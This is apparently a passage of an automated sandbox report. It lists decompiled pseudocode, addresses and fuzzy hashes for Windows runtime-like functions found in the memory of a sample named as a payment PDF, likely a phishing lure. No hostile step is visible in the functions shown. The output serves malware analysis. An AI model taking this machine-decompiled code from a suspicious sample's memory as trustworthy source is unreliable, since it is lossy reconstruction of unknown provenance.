							_t87 = 0x78000;
						}
						_t105 = ( *(_t125 + 0xa) & 0x0000ffff) + _t87;
						_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
						if(_t89 != 0) {
							if( *_t89 == 0) {
								goto L8;
							}
							_t90 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							goto L9;
						} else {
							L8:
							_t90 = 0x7ffe0380;
							L9:
							if( *_t90 != 0) {
								if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
									E3352F4FD(_t105,  *((intOrPtr*)(_v12 + 0xc)), _t125, _t105, _a4);
								}
							}
							asm("lock xadd [eax], ebx");
							goto L11;
						}
					} else {
						goto L16;
					}
				}
				 *(_t123 + 0x18) =  *(_t123 + 0x18) + 1;
				goto L4;
			}

0x3348366a
0x3348366d
0x33483676
0x3348367a
0x3348367e
0x3348368a
0x33483696
0x3348369e
0x334836a3
0x334836a7
0x334836ab
0x334836b2
0x334836b2
0x334836b7
0x334836bc
0x334836c1
0x3348373a
0x33483772
0x33483785
0x33483789
0x33483797
0x33483797
0x3348371c
0x33483720
0x33483726
0x334837b9
0x334837c5
0x334837d1
0x334837d3
0x334837d7
0x334837db
0x00000000
0x334837e4
0x334837ed
0x334d6849
0x00000000
0x00000000
0x334837f6
0x334837f6
0x00000000
0x334837f6
0x00000000
0x334837f3
0x334837c5
0x3348372d
0x33483734
0x33483734
0x3348373f
0x33483747
0x33483758
0x3348375b
0x33483760
0x33483764
0x3348379c
0x334837a1
0x334837a8
0x334837a8
0x33483769
0x33483770
0x334837ae
0x334836cd
0x334836cf
0x00000000
0x00000000
0x334836dd
0x334836e4
0x334836e6
0x334836e6
0x334836ef
0x334836f7
0x334836fc
0x334d67fe
0x00000000
0x00000000
0x334d680d
0x00000000
0x33483702
0x33483702
0x33483702
0x33483707
0x3348370a
0x334d6824
0x334d6836
0x334d6836
0x334d6824
0x33483718
0x00000000
0x33483718
0x00000000
0x00000000
0x00000000
0x33483770
0x334836c9
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 184a3df8b697e58a4a31da9cc5cc33ea142665ac73f6e2ef616fbaaa8ee7186b
Instruction ID: 4127fc92dc1e54a44cf72518e443f6d210b834bf7945eb8fb8f34d4551d43c84
Opcode Fuzzy Hash: 184a3df8b697e58a4a31da9cc5cc33ea142665ac73f6e2ef616fbaaa8ee7186b
Instruction Fuzzy Hash: 6751E0B9A10655AFD311CF68C880A59B7B0FF04710F4882A9E898DF740E736E992CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 334AE363 Relevance: .2, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E334AE363(intOrPtr __ecx, void* __edx) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t50;
				intOrPtr* _t53;
				intOrPtr* _t62;
				intOrPtr* _t63;
				intOrPtr _t78;
				intOrPtr* _t95;
				intOrPtr* _t96;
				void* _t97;
				void* _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				intOrPtr _t112;
				void* _t113;

				_v24 = _v24 | 0xffffffff;
				_t112 = __ecx;
				_v28 = 0xffd23940;
				_v12 = __ecx;
				while(1) {
					_t50 =  *0x335641d4; // 0x0
					if( *((intOrPtr*)(_t50 + 4 +  *(_t112 + 0x14) * 8)) <= 1) {
						break;
					}
					_push( &_v28);
					_push(0);
					E334B2CF0();
				}
				if(( *(_t112 + 0xd4) & 0x04000000) != 0) {
					E33543336(_t112);
				}
				_t53 = _t112 + 0x130;
				if( *_t53 != 0) {
					_push(0x8000);
					_v8 = 0;
					_push( &_v8);
					_push(_t53);
					_push(0xffffffff);
					E334B2B90();
				}
				_push( *((intOrPtr*)(_t112 + 0x64)));
				E334B2A80();
				_push( *((intOrPtr*)(_t112 + 0x60)));
				E334B2A80();
				E3346FBD0(0, _t109, _t112, _t112 + 0x48);
				if( *((intOrPtr*)(_t112 + 0x70)) != 0) {
					E33483B90(_t112 + 0x6c);
				}
				if( *((intOrPtr*)(_t112 + 0x78)) != 0) {
					E33483B90(_t112 + 0x74);
				}
				if( *((intOrPtr*)(_t112 + 0x80)) != 0) {
					E33483B90(_t112 + 0x7c);
				}
				_t95 = _t112 + 0x14c;
				_t110 =  *_t95;
				while(_t110 != _t95) {
					_t110 =  *_t110;
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t110);
				}
				_t62 = _t112 + 0x154;
				_t111 =  *_t62;
				if(_t111 != _t62) {
					do {
						_t63 = _t111 + 0xc;
						_v16 = _t111;
						_t96 =  *_t63;
						if(_t96 != _t63) {
							_t113 = _t111 + 0xc;
							do {
								_t96 =  *_t96;
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t96);
							} while (_t96 != _t113);
							_t112 = _v12;
						}
						_t97 = 0;
						_t111 =  *_t111;
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
					} while (_t111 != _t112 + 0x154);
				} else {
					_t97 = 0;
				}
				_t67 =  *((intOrPtr*)(_t112 + 0x164));
				if( *((intOrPtr*)(_t112 + 0x164)) != 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t97, _t67);
				}
				_t70 =  *((intOrPtr*)(_t112 + 0x168));
				if( *((intOrPtr*)(_t112 + 0x168)) != 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t97, _t70);
				}
				_t73 =  *((intOrPtr*)(_t112 + 0x170));
				if( *((intOrPtr*)(_t112 + 0x170)) != 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t97, _t73);
				}
				_t76 =  *((intOrPtr*)(_t112 + 0x178));
				if( *((intOrPtr*)(_t112 + 0x178)) != 0) {
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t97, _t76);
				}
				E334AE4BC(_t112);
				_t78 =  *0x335641d4; // 0x0
				 *((intOrPtr*)(_t78 +  *(_t112 + 0x14) * 8)) = 1;
				asm("lock dec dword [eax+ecx*8+0x4]");
				return E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t97, _t112);
			}

0x334ae36b
0x334ae371
0x334ae373
0x334ae37b
0x334ae380
0x334ae383
0x334ae38f
0x00000000
0x00000000
0x334ae394
0x334ae395
0x334ae396
0x334ae396
0x334ae3a7
0x334e8faa
0x334e8faa
0x334ae3ad
0x334ae3b5
0x334ae3b7
0x334ae3bf
0x334ae3c2
0x334ae3c3
0x334ae3c4
0x334ae3c6
0x334ae3c6
0x334ae3cb
0x334ae3ce
0x334ae3d3
0x334ae3d6
0x334ae3df
0x334ae3e7
0x334ae3ed
0x334ae3ed
0x334ae3f5
0x334ae3fb
0x334ae3fb
0x334ae406
0x334e8fb8
0x334e8fb8
0x334ae40c
0x334ae412
0x334ae429
0x334ae41d
0x334ae424
0x334ae424
0x334ae42d
0x334ae433
0x334ae437
0x334e8fc2
0x334e8fc2
0x334e8fc5
0x334e8fc8
0x334e8fcc
0x334e8fce
0x334e8fd1
0x334e8fd8
0x334e8fdf
0x334e8fe4
0x334e8fe8
0x334e8fe8
0x334e8ff4
0x334e8ff6
0x334e8ffc
0x334e9007
0x334ae43d
0x334ae43d
0x334ae43d
0x334ae43f
0x334ae447
0x334e901b
0x334e901b
0x334ae44d
0x334ae455
0x334e9030
0x334e9030
0x334ae45b
0x334ae463
0x334e9045
0x334e9045
0x334ae469
0x334ae471
0x334ae47e
0x334ae47e
0x334ae485
0x334ae48d
0x334ae498
0x334ae4a2
0x334ae4bb

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 158689809f020e71b2d918589ae6e21f1114488725789f63cf2f2fb1be503995
Instruction ID: 35278bc00ba232b2d53a01576dd4a27826d25dbadba3a6c64e35fb9b5eaaf23e
Opcode Fuzzy Hash: 158689809f020e71b2d918589ae6e21f1114488725789f63cf2f2fb1be503995
Instruction Fuzzy Hash: B451AC75A00B00DFDB21DF68C990E5AB3FDFB04740F40042EE66597661DB35E982CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 334FE660 Relevance: .2, Instructions: 154
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E334FE660(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int* _v8;
				signed int _v12;
				char _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				char _v32;
				signed int* _v36;
				char _v40;
				void* _t44;
				void* _t47;
				void* _t53;
				void* _t57;
				signed int _t60;
				void* _t66;
				signed int* _t67;
				void* _t68;
				signed int* _t76;
				signed int* _t77;
				void* _t78;
				void* _t79;
				signed int* _t80;

				_v12 = _v12 | 0xffffffff;
				_t67 = 0;
				_v16 = 0;
				_v8 = 0;
				_v20 = 0;
				if(_a12 == 1) {
					_push(_a4);
					_push(0x8000000);
					_push("true");
					_push(0);
					_push(0);
					_push(0xf0005);
					_push( &_v12);
					_t44 = E334B2E50();
					if(_v12 == 0xffffffff || _t44 < 0) {
						_t78 = 0xc0000008;
						goto L27;
					} else {
						_push("true");
						_push(0);
						_push("true");
						_v40 = 0;
						_push( &_v24);
						_v36 = 0;
						_push( &_v40);
						_push(0);
						_push(0);
						_v24 = 0;
						_push( &_v8);
						_push(0xffffffff);
						_push(_v12);
						_t53 = E334B2C30();
						_push(_v12);
						_t79 = _t53;
						E334B2A80();
						_t70 = _v8;
						if(_v8 == 0 || _t79 < 0) {
							_t78 = 0xc0000019;
							goto L27;
						} else {
							_t57 = E3347E4B0(_t70, 0, "true",  &_v32,  &_v20);
							if(_t57 >= 0) {
								_t77 = _v20;
								L11:
								_t68 = L3347B920(_t70, _v8);
								if(_t77 == 0) {
									L21:
									_t78 = E334FE542(_v16, _a8);
									L22:
									_t67 = 0;
									L27:
									E334FE4F2(_v16);
									if(_v8 != 0) {
										_push(_v8);
										_push(0xffffffff);
										_t47 = L334B2C50();
										if(_t47 < 0 && _t47 == 0xc0000045 && E3351E670(_v8, _t67) != 0) {
											_push(_v8);
											_push(0xffffffff);
											L334B2C50();
										}
									}
									return _t78;
								}
								while( *((intOrPtr*)(_t77 + 0xc)) != 0 &&  *((intOrPtr*)(_t77 + 0x10)) != 0) {
									_t60 = E33479630(_t68, _v8,  *((intOrPtr*)(_t77 + 0xc)));
									_v28 = _t60;
									if(_t60 == 0) {
										_t78 = 0xc000008b;
										goto L22;
									}
									_t80 = L33485D90(_t70,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc);
									if(_t80 == 0) {
										_t78 = 0xc0000017;
										goto L22;
									}
									_t80[2] = _t80[2] & 0x00000000;
									 *_t80 =  *_t80 & 0x00000000;
									_t80[1] = _v28;
									E334FE5FE(_t80,  &_v16);
									_t76 = _v8;
									_t70 = _t80;
									_push(_t77);
									_push(_t68);
									if( *((intOrPtr*)(_t68 + 0x18)) != 0x10b) {
										_t66 = E334FE461(_t70, _t76);
									} else {
										_t66 = E334FE3DD(_t70, _t76);
									}
									_t78 = _t66;
									if(_t78 < 0) {
										goto L22;
									} else {
										_t77 = _t77 + 0x14;
										if(_t77 != 0) {
											continue;
										}
										goto L21;
									}
								}
								goto L21;
							}
							if(_t57 != 0xc0000002) {
								_t78 = 0xc0000089;
								goto L27;
							}
							_t77 = 0;
							goto L11;
						}
					}
				}
				_t78 = 0xc0000058;
				goto L27;
			}

0x334fe668
0x334fe66d
0x334fe675
0x334fe678
0x334fe67b
0x334fe67e
0x334fe68a
0x334fe690
0x334fe695
0x334fe697
0x334fe698
0x334fe699
0x334fe69e
0x334fe69f
0x334fe6a8
0x334fe7d1
0x00000000
0x334fe6b6
0x334fe6b6
0x334fe6b8
0x334fe6b9
0x334fe6be
0x334fe6c1
0x334fe6c5
0x334fe6c8
0x334fe6c9
0x334fe6ca
0x334fe6ce
0x334fe6d1
0x334fe6d2
0x334fe6d4
0x334fe6d7
0x334fe6dc
0x334fe6df
0x334fe6e1
0x334fe6e6
0x334fe6eb
0x334fe7ca
0x00000000
0x334fe6f9
0x334fe705
0x334fe70c
0x334fe723
0x334fe726
0x334fe72e
0x334fe732
0x334fe7ab
0x334fe7b6
0x334fe7b8
0x334fe7b8
0x334fe7d6
0x334fe7d9
0x334fe7e2
0x334fe7e4
0x334fe7e7
0x334fe7e9
0x334fe7f0
0x334fe806
0x334fe809
0x334fe80b
0x334fe80b
0x334fe7f0
0x334fe816
0x334fe816
0x334fe734
0x334fe747
0x334fe74c
0x334fe751
0x334fe7c3
0x00000000
0x334fe7c3
0x334fe765
0x334fe769
0x334fe7bc
0x00000000
0x334fe7bc
0x334fe771
0x334fe777
0x334fe77a
0x334fe77d
0x334fe782
0x334fe78a
0x334fe78c
0x334fe78d
0x334fe792
0x334fe79b
0x334fe794
0x334fe794
0x334fe794
0x334fe7a0
0x334fe7a4
0x00000000
0x334fe7a6
0x334fe7a6
0x334fe7a9
0x00000000
0x00000000
0x00000000
0x334fe7a9
0x334fe7a4
0x00000000
0x334fe734
0x334fe713
0x334fe719
0x00000000
0x334fe719
0x334fe715
0x00000000
0x334fe715
0x334fe6eb
0x334fe6a8
0x334fe680
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a88e87304113b3612f3762961c2bc04bcc7e5b5c6181f0252f0d9c5367c7b2d
Instruction ID: 09013a9c01aceec467fad09257a0a376ea726a4cbf593d422ddb59d61aee6ecf
Opcode Fuzzy Hash: 7a88e87304113b3612f3762961c2bc04bcc7e5b5c6181f0252f0d9c5367c7b2d
Instruction Fuzzy Hash: CF51C475D00319EFEF108F90C880B9EB7F9AF00766F584669D910A76B0D7369E818BD8

Uniqueness

Uniqueness Score: -1.00%

Function 3347510D Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E3347510D(void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t38;
				signed int _t49;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;
				signed int _t57;
				signed int _t58;
				intOrPtr _t64;
				signed int* _t73;
				signed int* _t76;
				signed int _t78;
				signed int _t80;
				signed int _t81;
				void* _t82;

				_t71 = __edx;
				_t66 = __ecx;
				_push(0x1c);
				_push(0x3354bd00);
				E334C7BE4(__ebx, __edi, __esi);
				_t64 = __edx;
				 *((intOrPtr*)(_t82 - 0x28)) = __edx;
				_t73 = __ecx;
				 *((intOrPtr*)(_t82 - 0x2c)) = __ecx;
				_t76 =  *(_t82 + 8);
				if(_t76 == 0 || __ecx == 0 || __edx == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E33544A6D(_t64, _t66, _t71, _t73, _t76);
					_t38 = 0xc000000d;
				} else {
					if( *__ecx == 0) {
						L10:
						 *(_t82 - 0x20) =  *(_t82 - 0x20) & 0x00000000;
						_t38 = L33471E70(_t82 - 0x20, 0);
						 *(_t82 - 0x24) = _t38;
						__eflags = _t38;
						if(_t38 < 0) {
							L9:
							 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
							return _t38;
						}
						L33482330(_t38, _t64);
						 *(_t82 - 4) = 1;
						__eflags =  *_t73;
						if( *_t73 != 0) {
							asm("lock inc dword [eax]");
							L27:
							 *(_t82 - 4) = 0xfffffffe;
							E334752CD(_t64);
							_t78 =  *(_t82 - 0x20);
							__eflags = _t78;
							if(__eflags != 0) {
								_push(_t78);
								L3346AE40(_t64, _t73, _t78, __eflags);
							}
							__eflags =  *(_t82 - 0x24);
							if( *(_t82 - 0x24) >= 0) {
								 *( *(_t82 + 8)) =  *_t73;
							}
							_t38 =  *(_t82 - 0x24);
							goto L9;
						}
						__eflags = _t73 - 0x33566890;
						if(_t73 != 0x33566890) {
							__eflags = _t73 - 0x33566888;
							if(_t73 != 0x33566888) {
								L26:
								 *_t73 =  *(_t82 - 0x20);
								_t23 = _t82 - 0x20;
								 *_t23 =  *(_t82 - 0x20) & 0x00000000;
								__eflags =  *_t23;
								goto L27;
							}
							L33471D50(_t66,  *(_t82 - 0x20), "true");
							_t49 = E334AD0F0( *(_t82 - 0x20), "true");
							L37:
							__eflags = _t49;
							 *(_t82 - 0x24) = _t49;
							if(_t49 >= 0) {
								goto L26;
							}
							goto L27;
						}
						_t50 =  *0x33566970; // 0x0
						__eflags = _t50;
						if(_t50 != 0) {
							L33471D50(_t66,  *(_t82 - 0x20), _t50);
							L25:
							_t52 =  *0x33566968; // 0x0
							__eflags = _t52;
							if(_t52 != 0) {
								_t49 = E334AD6A0( *(_t82 - 0x20), _t52);
								goto L37;
							}
							goto L26;
						}
						_t53 =  *0x3356696c; // 0x0
						__eflags = _t53;
						if(_t53 != 0) {
							L19:
							L33471D50(_t66,  *(_t82 - 0x20), _t53);
							__eflags =  *0x3356696c;
							if( *0x3356696c > 0) {
								_t55 = 0;
								L24:
								L334ABED0( *(_t82 - 0x20), _t55);
								goto L25;
							}
							_t80 =  *(_t82 - 0x20);
							__eflags = _t80;
							if(_t80 != 0) {
								_t57 =  *(_t80 + 0x110);
								__eflags = _t57;
								if(_t57 != 0) {
									L22:
									_t55 = _t57 << 2;
									__eflags = _t55 - 0x180;
									if(_t55 < 0x180) {
										_t55 = 0x180;
									}
									goto L24;
								}
							}
							_t57 =  *0x7ffe03c0;
							goto L22;
						}
						_t81 =  *(_t82 - 0x20);
						__eflags = _t81;
						if(_t81 != 0) {
							_t58 =  *(_t81 + 0x110);
							__eflags = _t58;
							if(_t58 != 0) {
								L17:
								_t53 = _t58 << 3;
								_t66 = 0x300;
								__eflags = _t53 - 0x300;
								if(_t53 < 0x300) {
									_t53 = 0x300;
								}
								goto L19;
							}
						}
						_t58 =  *0x7ffe03c0;
						goto L17;
					}
					 *((char*)(_t82 - 0x19)) = 0;
					L334753C0(__edx);
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					if( *_t73 != 0) {
						asm("lock inc dword [eax]");
						 *_t76 =  *_t73;
						 *((char*)(_t82 - 0x19)) = 1;
					}
					 *(_t82 - 4) = 0xfffffffe;
					E334752C6(_t64);
					if( *((char*)(_t82 - 0x19)) == 0) {
						goto L10;
					}
					_t38 = 0;
				}
			}

0x3347510d
0x3347510d
0x3347510d
0x3347510f
0x33475114
0x33475119
0x3347511b
0x3347511e
0x33475120
0x33475123
0x33475128
0x334d0599
0x334d059e
0x33475151
0x33475154
0x3347519b
0x3347519b
0x334751a5
0x334751aa
0x334751ad
0x334751af
0x33475189
0x3347518c
0x33475198
0x33475198
0x334751b2
0x334751b7
0x334751c0
0x334751c2
0x334752d4
0x33475257
0x33475257
0x3347525e
0x33475263
0x33475266
0x33475268
0x334d058e
0x334d058f
0x334d058f
0x3347526e
0x33475272
0x33475279
0x33475279
0x3347527b
0x00000000
0x3347527b
0x334751c8
0x334751ce
0x334752a2
0x334752a8
0x3347524e
0x33475251
0x33475253
0x33475253
0x33475253
0x00000000
0x33475253
0x334752b0
0x334752b8
0x334752bd
0x334752bd
0x334752bf
0x334752c2
0x00000000
0x00000000
0x00000000
0x334752c4
0x334751d4
0x334751d9
0x334751db
0x334d0564
0x33475241
0x33475241
0x33475246
0x33475248
0x334d0579
0x00000000
0x334d0579
0x00000000
0x33475248
0x334751e1
0x334751e6
0x334751e8
0x33475208
0x3347520c
0x33475211
0x33475218
0x334d056e
0x33475238
0x3347523c
0x00000000
0x3347523c
0x3347521e
0x33475221
0x33475223
0x33475296
0x3347529c
0x3347529e
0x3347522a
0x3347522a
0x33475232
0x33475234
0x33475236
0x33475236
0x00000000
0x33475234
0x334752a0
0x33475225
0x00000000
0x33475225
0x334751ea
0x334751ed
0x334751ef
0x33475283
0x33475289
0x3347528b
0x334751fa
0x334751fa
0x334751fd
0x33475202
0x33475204
0x33475206
0x33475206
0x00000000
0x33475204
0x33475291
0x334751f5
0x00000000
0x334751f5
0x33475156
0x3347515b
0x33475160
0x33475168
0x3347516a
0x3347516f
0x33475171
0x33475171
0x33475175
0x3347517c
0x33475185
0x00000000
0x00000000
0x33475187
0x33475187

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef7a20cf430796de20b8ec5fcc3df8b52636748fcd86eb5b4ca83aea1b982fc3
Instruction ID: 811a6f7e426061c7398e40699568a625fdc605953e609c78104b7724493663f0
Opcode Fuzzy Hash: ef7a20cf430796de20b8ec5fcc3df8b52636748fcd86eb5b4ca83aea1b982fc3
Instruction Fuzzy Hash: 4B518CB5E013159FFB11CBA8C840BDEB3B8AF09395F140499E820FB350DB78A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 334AF63F Relevance: .1, Instructions: 143
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E334AF63F(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v12;
				char _v16;
				signed short _v20;
				intOrPtr _v24;
				signed char _v28;
				short _v30;
				char _v32;
				signed short _t40;
				intOrPtr _t53;
				signed int _t56;
				void* _t60;
				signed int _t63;
				signed char _t64;
				void* _t73;
				void* _t76;
				intOrPtr _t78;

				_v24 = __ecx;
				_t63 = 0;
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				_v16 = 0;
				_t73 = __edx;
				if(__ecx == 0 || __edx == 0) {
					_t76 = 0xc000000d;
					goto L6;
				} else {
					_t40 =  *((intOrPtr*)(__ecx)) + 0x00000038 & 0x0000ffff;
					_v20 = _t40;
					_v8 = _t40 & 0x0000ffff;
					_t78 = L33485D60(_t40 & 0x0000ffff);
					if(_t78 == 0) {
						_t76 = 0xc0000017;
						L7:
						if(_t73 != 0) {
							E33483B90(_t73);
						}
						L9:
						if(_t63 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t63);
						}
						L10:
						E33483B90( &_v32);
						return _t76;
					}
					L334B8F40(_t78, 0, _v8);
					_v30 = _v20;
					_v28 = _t78;
					_t76 = E334910D0(0,  &_v32, 0x334411e0);
					if(_t76 < 0) {
						goto L7;
					}
					_t76 = E334910D0(0,  &_v32, _v24);
					if(_t76 < 0) {
						goto L7;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push( &_v16);
					_push( &_v32);
					_t76 = L334B3EE0();
					if(_t76 == 0xc0000023) {
						_t53 =  *0x33565d78; // 0x0
						_t64 = _v12;
						_t56 = L33485D90(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t53 + 0x140000, _t64);
						_v8 = _t56;
						_push( &_v12);
						_push(_t64);
						_push(_t56);
						_push( &_v16);
						_push( &_v32);
						_t76 = L334B3EE0();
						if(_t76 < 0) {
							L18:
							_t63 = _v8;
							goto L7;
						}
						if(_v16 != 1 || _t64 < 1 || (_t64 & 0x00000001) != 0) {
							_t76 = 0xc0000001;
						} else {
							_t60 = L33485D60(_t64);
							_t79 = _t60;
							if(_t60 != 0) {
								_t63 = _v8;
								L334B88C0(_t79, _t63, _t64);
								_t76 = E334ECA41(_t73, _t79);
								if(_t76 < 0) {
									goto L7;
								}
								_t76 = 0;
								goto L9;
							}
							_t76 = 0xc0000017;
						}
						goto L18;
					}
					L6:
					if(_t76 >= 0) {
						goto L10;
					}
					goto L7;
				}
			}

0x334af64c
0x334af64f
0x334af651
0x334af654
0x334af657
0x334af65a
0x334af65f
0x334af663
0x334dd917
0x00000000
0x334af671
0x334af678
0x334af67b
0x334af682
0x334af68a
0x334af68e
0x334dd87e
0x334af6f6
0x334af6f8
0x334af6fb
0x334af6fb
0x334af700
0x334af702
0x334dd92d
0x334dd92d
0x334af708
0x334af70c
0x334af717
0x334af717
0x334af699
0x334af6a4
0x334af6ab
0x334af6b9
0x334af6bd
0x00000000
0x00000000
0x334af6cb
0x334af6cf
0x00000000
0x00000000
0x334af6d4
0x334af6d5
0x334af6d6
0x334af6da
0x334af6de
0x334af6e4
0x334af6ec
0x334dd888
0x334dd88d
0x334dd8a0
0x334dd8a8
0x334dd8ab
0x334dd8ac
0x334dd8ad
0x334dd8b1
0x334dd8b5
0x334dd8bb
0x334dd8bf
0x334dd8e2
0x334dd8e2
0x00000000
0x334dd8e2
0x334dd8c5
0x334dd910
0x334dd8d1
0x334dd8d2
0x334dd8d7
0x334dd8db
0x334dd8eb
0x334dd8f0
0x334dd8ff
0x334dd903
0x00000000
0x00000000
0x334dd909
0x00000000
0x334dd909
0x334dd8dd
0x334dd8dd
0x00000000
0x334dd8c5
0x334af6f2
0x334af6f4
0x00000000
0x00000000
0x00000000
0x334af6f4

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160ccef35fa18e7ae3a8419d1cbcf0a0249c9ff9a3a9c2722f6cf3ff3be90f9e
Instruction ID: e9f99d439b562998130530df1355f6fde5a31eace8cf1709d0ff865c66bf72ae
Opcode Fuzzy Hash: 160ccef35fa18e7ae3a8419d1cbcf0a0249c9ff9a3a9c2722f6cf3ff3be90f9e
Instruction Fuzzy Hash: 454199B6D00319AFDB12DB988850AAFB7BCDF04754F15016AE914E7711D636DE018BE8

Uniqueness

Uniqueness Score: -1.00%

Function 334AA350 Relevance: .1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E334AA350(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v5;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t17;
				intOrPtr* _t19;
				signed int _t23;
				void* _t29;
				signed int _t31;
				void* _t37;
				intOrPtr _t38;
				signed int _t43;
				signed int _t46;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t57;
				signed int _t58;
				void* _t60;

				_t49 = __edx;
				_push(__ecx);
				_push(__ecx);
				_v5 = 0;
				_t55 = L334A1CA7(__ecx);
				if(_t55 < 0) {
					L18:
					return _t55;
				}
				_push(_t37);
				_push(_t50);
				L33482330(_t13, 0x33566818);
				E334AC640(_t37, 0, _t49, _t50);
				_t43 =  *0x3356923c; // 0x0
				if(_t43 != 0) {
					_t17 = E334B8170(_a4, _t43,  *0x33569240, 0x14, E3346B600);
					_t43 =  *0x3356923c; // 0x0
					_t60 = _t60 + 0x14;
					_t38 = _t17;
				} else {
					_t38 = 0;
				}
				if(_t38 != 0) {
					_t49 = _v5;
					goto L13;
				} else {
					_t46 =  *0x33569244; // 0x0
					if(_t43 != 0) {
						_t23 =  *0x33569240; // 0x0
						if(_t23 + 1 == _t46) {
							goto L5;
						}
						L334A1D66(_t46, _t49, 0);
						_t48 =  *0x3356923c; // 0x0
						L12:
						_t31 =  *0x33569240; // 0x0
						_t38 = _t31 * 0x14 + _t48;
						 *0x33569240 = _t31 + 1;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t50 = _t38;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						L334A1D66(_t48, _t49, "true");
						_t43 =  *0x3356923c; // 0x0
						_t49 = 1;
						L13:
						_t57 =  *((intOrPtr*)(_t38 + 0x10));
						 *((intOrPtr*)(_t38 + 0x10)) = _a8;
						_t19 = _a12;
						if(_t19 != 0) {
							 *_t19 = _t57;
						}
						if(_t49 != 0) {
							L334B8FB0(_t43,  *0x33569240, 0x14, E3346B600);
						}
						_t55 = 0;
						L17:
						E334AC640(_t38, 1, _t49, _t50);
						E334824D0(0x33566818);
						goto L18;
					}
					L5:
					if(_t46 != 0) {
